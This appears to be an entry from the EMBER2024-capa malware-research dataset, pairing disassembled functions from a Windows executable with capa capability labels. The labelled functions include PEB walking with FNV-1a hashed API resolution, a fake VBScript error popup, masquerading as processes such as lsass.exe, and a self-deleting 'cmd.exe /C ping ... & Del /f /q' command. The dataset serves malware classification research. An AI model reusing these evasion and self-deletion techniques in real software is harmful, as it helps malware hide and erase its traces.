joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14005e030
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140115080]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x14005e05d
xor eax, eax
jmp 0x14005e1c9
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x14005e097
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x14005e097
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x14005e1c9
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x14005e1bc
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14005e0da
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x14005e105
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14005e1c1
lea rax, [rsp + 0x40]
mov byte [rsp + 0x50], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x51]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x50]
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14005e174
sub eax, 1
je 0x14005e174
cmp eax, 2
jne 0x14005e1bc
movsx ecx, byte [rsp + 0x50]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x14005e1c1
mov rsi, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x14005e1a2
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x14005e1bc
lea rax, [rsp + 0x50]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x48], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x14005e1c1
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.1400e4490
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret

Function at 0x14005e4e0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x14005e514
movabs r10, 0x100000001b3
nop
movzx ecx, byte [r9 + rdx]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x14005e500
ret
Function at 0x14005eb60
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140115080]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x14005ec33
cmp byte [rcx + 0x71], 0
je 0x14005ec33
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + Ordinal_26]
cmp eax, 0xffffffff
je 0x14005ec2f
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x14005ebf4
sub eax, 1
je 0x14005ebf8
cmp eax, 2
jne 0x14005ec2f
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400e4490
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x14005ec26
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x14005ec2f
cmp byte [rbx + 0x71], 0
sete al
jmp 0x14005ebdc
xor al, al
jmp 0x14005ebdc
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400e4490
add rsp, 0x60
pop rbx
ret
Function at 0x140066410
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x1400664dc
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x1400664dc
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x1400664f5
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx + 0x10]
cmp rax, rcx
je 0x1400664cc
cmp byte [rax], 0x5c
jne 0x1400664c6
lea rdx, [rax + 1]
cmp rdx, rcx
je 0x1400664c6
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x1400664b2
movzx ecx, byte [rdx]
sub cl, 0x28
cmp cl, 1
jbe 0x1400664c3
test r8b, 0x10
jne 0x1400664c6
movzx ecx, byte [rdx]
sub cl, 0x7b
test cl, 0xfd
jne 0x1400664c6
mov rax, rdx
inc rax
mov qword [rbx], rax
mov rcx, rbx
call fcn.140062cc0
test edi, edi
jne 0x140066430
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.140062cb0
int3
Function at 0x14006cb70
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x48
mov rax, qword [0x1401183b0]
test rax, rax
jne 0x14006cd74
mov rax, qword gs:[0x60]
xor r8d, r8d
mov qword [rsp + 0x58], rbx
mov ebx, 0x694a8c81
mov qword [rsp + 0x60], rbp
mov qword [rsp + 0x68], rsi
mov rcx, qword [rax + 0x18]
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r15
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov rdi, rbp
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
movups xmmword [rsp + 0x20], xmm0
sub ax, 8
test r8d, r8d
je 0x14006cc0d
mov rcx, qword [rsp + 0x28]
mov edx, 0x811c9dc5
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
cmp rcx, r9
je 0x14006cc04
movsx eax, byte [rcx]
add rcx, 2
xor eax, edx
imul edx, eax, 0x1000193
cmp rcx, r9
jne 0x14006cbf0
cmp edx, r8d
jne 0x14006cd37
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rcx, qword [rax + r10 + 0x88]
mov r15, rcx
mov r11d, ecx
shr r15, 0x20
add r11, r10
cmp r11, r10
je 0x14006cd37
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14006cd37
mov r14d, dword [r11 + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov edx, 0x811c9dc5
lea rax, [r14 + r9*4]
mov ecx, dword [rax + r10]
add rcx, r10
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006cc87
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14006cc70
cmp edx, ebx
je 0x14006cc95
test r9d, r9d
jne 0x14006cc50
jmp 0x14006cd37
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
cmp rax, r11
jbe 0x14006cd4f
lea rcx, [r15 + r11]
cmp rax, rcx
jae 0x14006cd4f
movzx ecx, byte [rax]
mov r8d, 0x811c9dc5
mov dword [rsp + 0x50], r8d
mov edx, r8d
mov dword [rsp + 0x54], edx
cmp cl, 0x2e
je 0x14006ccfd
nop
movsx ecx, cl
inc rax
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rax]
cmp cl, 0x2e
jne 0x14006cce0
mov dword [rsp + 0x50], r8d
movzx ecx, byte [rax + 1]
inc rax
test cl, cl
je 0x14006cd2a
nop dword [rax + rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
test cl, cl
jne 0x14006cd10
mov dword [rsp + 0x54], edx
mov rbx, qword [rsp + 0x50]
mov rdi, qword [rbp]
shr rbx, 0x20
mov rax, qword [rdi]
mov rdi, rax
cmp rax, rbp
je 0x14006cd4d
cmp qword [rax + 0x30], 0
jne 0x14006cbc1
xor eax, eax
mov r15, qword [rsp + 0x30]
mov r14, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x58]
mov qword [0x1401183b0], rax
add rsp, 0x48
jmp rax
Function at 0x14006cd80
Capabilities:
Access peb ldr_data
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
push rbx
push rsi
push rdi
push r14
push r15
sub rsp, 0x80
mov rax, qword [0x140118408]
test rax, rax
jne 0x14006cfbd
xor r8d, r8d
mov dword [rsp + 0x28], r8d
mov eax, 0xfaba0065
mov dword [rsp + 0x24], eax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rdx, qword [rcx + 0x10]
mov r11, qword [rdx]
mov qword [rsp + 0x48], r11
mov r15, r11
mov qword [rsp + 0x50], r11
mov rcx, r11
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd ecx, xmm0
sub cx, 8
mov word [rsp + 0x58], cx
test r8d, r8d
je 0x14006ce36
mov rdx, qword [rsp + 0x60]
movzx ecx, cx
shr rcx, 1
lea r10, [rdx + rcx*2]
mov r9d, 0x811c9dc5
mov qword [rsp + 0x38], rdx
cmp rdx, r10
je 0x14006ce2d
movsx ecx, byte [rdx]
xor ecx, r9d
imul r9d, ecx, 0x1000193
add rdx, 2
jmp 0x14006ce10
cmp r9d, r8d
jne 0x14006cf96
mov rbx, qword [r11 + 0x30]
mov qword [rsp + 0x68], rbx
movsxd rcx, dword [rbx + 0x3c]
mov r14, qword [rcx + rbx + 0x88]
mov qword [rsp + 0xb8], r14
mov r9d, r14d
add r9, rbx
mov qword [rsp + 0x70], r9
shr r14, 0x20
mov dword [rsp + 0x78], r14d
cmp r9, rbx
je 0x14006cf96
mov edi, dword [r9 + 0x18]
mov dword [rsp + 0x20], edi
nop dword [rax + rax]
mov ecx, edi
dec edi
mov dword [rsp + 0x20], edi
test ecx, ecx
je 0x14006cf96
mov edx, dword [r9 + 0x20]
add rdx, rbx
mov ecx, dword [rdx + rdi*4]
add rcx, rbx
mov qword [rsp + 0x40], rcx
mov r10d, 0x811c9dc5
nop dword [rax + rax]
movsx edx, byte [rcx]
inc rcx
mov qword [rsp + 0x40], rcx
test dl, dl
jne 0x14006cf87
cmp r10d, eax
jne 0x14006cf82
mov ecx, dword [r9 + 0x1c]
add rcx, rbx
mov eax, dword [r9 + 0x24]
add rax, rbx
movzx eax, word [rax + rdi*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
cmp rdx, r9
jbe 0x14006cfb3
lea rax, [r9 + r14]
cmp rdx, rax
jae 0x14006cfb3
mov r8d, 0x811c9dc5
mov dword [rsp + 0xb0], r8d
mov ecx, r8d
mov dword [rsp + 0xb4], ecx
mov r9d, ecx
mov qword [rsp + 0x30], rdx
movsx eax, byte [rdx]
cmp al, 0x2e
je 0x14006cf3b
xor eax, r9d
imul r8d, eax, 0x1000193
mov r9d, r8d
mov dword [rsp + 0xb0], r8d
inc rdx
jmp 0x14006cf15
inc rdx
mov qword [rsp + 0x30], rdx
movsx eax, byte [rdx]
test al, al
je 0x14006cf5b
xor eax, ecx
imul ecx, eax, 0x1000193
mov dword [rsp + 0xb4], ecx
jmp 0x14006cf3b
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xc0], rax
shr rax, 0x20
mov dword [rsp + 0x24], eax
mov dword [rsp + 0x28], r8d
mov r11, qword [r15]
mov qword [rsp + 0x48], r11
jmp 0x14006cf96
jmp 0x14006ce80
xor edx, r10d
imul r10d, edx, 0x1000193
jmp 0x14006ceb0
mov r11, qword [r11]
mov rcx, r11
mov qword [rsp + 0x48], r11
cmp r11, r15
je 0x14006cfb1
cmp qword [r11 + 0x30], 0
jne 0x14006cde0
xor edx, edx
mov qword [0x140118408], rdx
mov rax, rdx
mov ecx, 0x13333337
call rax
jmp 0x14006cfc8
add rsp, 0x80
pop r15
pop r14
pop rdi
pop rsi
pop rbx
ret
Function at 0x14006dcb0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x140115080]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rsi, qword [0x140118410]
mov dword [rsp + 0x20], 0
test rsi, rsi
jne 0x14006dd97
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14006dd78
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14006dd78
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x14006dd73
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x14006dd50
cmp edx, 0x4cfe97c1
je 0x14006de99
test r8d, r8d
jne 0x14006dd30
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x14006dd8e
cmp qword [rax + 0x30], 0
jne 0x14006dd00
xor esi, esi
mov qword [0x140118410], rsi
mov rax, qword [0x1401183d8]
test rax, rax
jne 0x14006de68
mov rax, qword gs:[0x60]
mov qword [rsp + 0x40], rbp
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbp, qword [rax]
mov r11, rbp
nop dword [rax]
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14006de44
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x14006de44
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14006de3f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x14006de20
cmp edx, 0x6dd8a845
je 0x14006deb5
test r8d, r8d
jne 0x14006de00
mov rax, qword [r11]
mov r11, rax
cmp rax, rbp
je 0x14006de5a
cmp qword [rax + 0x30], 0
jne 0x14006ddd0
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov qword [0x1401183d8], rax
call rax
lea rdx, [rsp + 0x20]
mov rcx, rax
call rsi
cmp dword [rsp + 0x20], 0
setne al
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400e4490
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov esi, dword [rcx + rdx*4]
add rsi, r9
jmp 0x14006dd90
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x14006de5c
Function at 0x14006dfa0
Capabilities:
Execute command
Terminate process

Disassembly:
sub rsp, 0x198
mov rax, qword [0x140115080]
xor rax, rsp
mov qword [rsp + 0x180], rax
lea rdx, str.message.vbs
lea rcx, [rsp + 0x30]
call fcn.140012b40
nop
lea rcx, [rsp + 0x70]
call fcn.140069b40
mov r8d, 2
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.14007e360
nop
lea rdx, str.MsgBox__No.___vbCritical___Error_
lea rcx, [rsp + 0x70]
call fcn.14007f210
lea rcx, [rsp + 0x70]
call fcn.14007e320
lea r8, [rsp + 0x30]
lea rdx, str.start_wscript
lea rcx, [rsp + 0x50]
call fcn.14007f4c0
lea rcx, [rsp + 0x50]
call fcn.140035fa0
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x14006e9f0
Capabilities:
Query service status

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x140115080]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor edx, edx
mov rdi, rcx
xor ecx, ecx
lea r8d, [rdx + 4]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
je 0x14006ea60
mov r8d, 4
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
test rax, rax
je 0x14006ea57
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
mov rcx, rdi
test eax, eax
jne 0x14006ea64
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x14006ea7b
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [rsp + 0x24], 4
sete al
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400e4490
mov rbx, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x1400705b0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
mov eax, 0x13d0
call fcn.1400e5140
sub rsp, rax
mov rax, qword [0x140115080]
xor rax, rsp
mov qword [rsp + 0x13c0], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
lea rdi, [0x140118460]
mov eax, dword [rdx + rcx]
cmp dword [0x140118540], eax
jle 0x14007077a
lea rcx, [0x140118540]
call fcn.1400e4680
cmp dword [0x140118540], 0xffffffff
jne 0x14007077a
xorps xmm0, xmm0
movups xmmword [0x140118460], xmm0
xorps xmm1, xmm1
movdqa xmmword [0x140118470], xmm1
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.RuntimeBroker.exe
mov rcx, rdi
call fcn.140012c50
nop
xorps xmm0, xmm0
movups xmmword [0x140118480], xmm0
xorps xmm1, xmm1
movdqa xmmword [0x140118490], xmm1
mov r8d, reloc.WS2_32.dll_ntohl
lea rdx, str.SgrmBroker.exe
lea rcx, [0x140118480]
call fcn.140012c50
nop
xorps xmm0, xmm0
movups xmmword [0x1401184a0], xmm0
xorps xmm1, xmm1
movdqa xmmword [0x1401184b0], xmm1
mov r8d, 9
lea rdx, str.lsass.exe
lea rcx, [0x1401184a0]
call fcn.140012c50
nop
xorps xmm0, xmm0
movups xmmword [0x1401184c0], xmm0
xorps xmm1, xmm1
movdqa xmmword [0x1401184d0], xmm1
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.taskhostw.exe
lea rcx, [0x1401184c0]
call fcn.140012c50
nop
xorps xmm0, xmm0
movups xmmword [0x1401184e0], xmm0
xorps xmm1, xmm1
movdqa xmmword [0x1401184f0], xmm1
mov r8d, listen
lea rdx, str.winlogon.exe
lea rcx, [0x1401184e0]
call fcn.140012c50
nop
xorps xmm0, xmm0
movups xmmword [0x140118500], xmm0
xorps xmm1, xmm1
movdqa xmmword [0x140118510], xmm1
mov r8d, reloc.WS2_32.dll_ntohs
lea rdx, str.smartscreen.exe
lea rcx, [0x140118500]
call fcn.140012c50
nop
xorps xmm0, xmm0
movups xmmword [0x140118520], xmm0
xorps xmm1, xmm1
movdqa xmmword [0x140118530], xmm1
mov r8d, 9
lea rdx, str.csrss.exe
lea rcx, [0x140118520]
call fcn.140012c50
nop
lea rcx, [0x1400e8d10]
call fcn.1400e4a98
lea rcx, [0x140118540]
call fcn.1400e4620
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
mov dword [rsp + 0x13b4], 0xffffffff
mov dword [rsp + 0x34], eax
mov eax, 1
nop word [rax + rax]
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [rsp + rax*4 + 0x34], edx
inc rax
cmp rax, 0x270
jb 0x1400707a0
mov dword [rsp + 0x30], 0x270
lea rcx, [rsp + 0x30]
call fcn.140081d50
mov ecx, eax
imul rdx, rcx, 7
cmp edx, 3
ja 0x1400707f5
nop dword [rax + rax]
lea rcx, [rsp + 0x30]
call fcn.140081d50
mov ecx, eax
imul rdx, rcx, 7
cmp edx, 4
jb 0x1400707e0
shr rdx, 0x20
shl rdx, 5
add rdx, rdi
mov rcx, rbx
call fcn.14005e890
mov rax, rbx
mov rcx, qword [rsp + 0x13c0]
xor rcx, rsp
call fcn.1400e4490
mov rbx, qword [rsp + 0x13e8]
add rsp, 0x13d0
pop rdi
ret
Function at 0x1400764b0
Capabilities:
Create process on windows
Self delete
Terminate process

Disassembly:
sub rsp, 0x718
mov rax, qword [0x140115080]
xor rax, rsp
mov qword [rsp + 0x700], rax
xorps xmm0, xmm0
lea rdx, [rsp + 0xe0]
xor eax, eax
mov r8d, 0x104
xor ecx, ecx
mov qword [rsp + 0xd0], rax
movups xmmword [rsp + 0x70], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r9, [rsp + 0xe0]
mov edx, 0x208
lea r8, str.cmd.exe__C_ping_1.1.1.1__n_1__w_3000___Nul__Del__f__q___s_
lea rcx, [rsp + 0x2f0]
call fcn.14006ded0
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x2f0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140076650
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x1a0
mov rax, qword [0x140115080]
xor rax, rsp
mov qword [rsp + 0x190], rax
mov rdi, rdx
mov rbx, rcx
mov qword [rsp + 0x78], rcx
xor esi, esi
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rsi + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
test eax, eax
je 0x1400766c8
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rsi
xor r8d, r8d
lea rdx, [0x1400f99c8]
mov rcx, rbx
call fcn.140012c50
jmp 0x140076822
movups xmmword [rsp + 0x58], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
lea rax, [rsp + 0x80]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], sil
jne 0x1400766e5
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x58]
call fcn.140012c50
nop
mov r8d, 1
lea rdx, [0x1400ff658]
lea rcx, [rsp + 0x58]
call fcn.140012b80
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov r8, qword [rdi + 0x10]
cmp qword [rdi + 0x18], 0x10
jb 0x140076757
mov rdi, qword [rdi]
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140012b80
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rsi
movups xmm0, xmmword [rax]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbx + 0x10], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rax], 0
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x1400767cf
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400767ca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400767ca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
movdqa xmm0, xmmword [0x140100440]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x140076822
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007681d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14007681d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400e44b0
mov rax, rbx
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.1400e4490
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret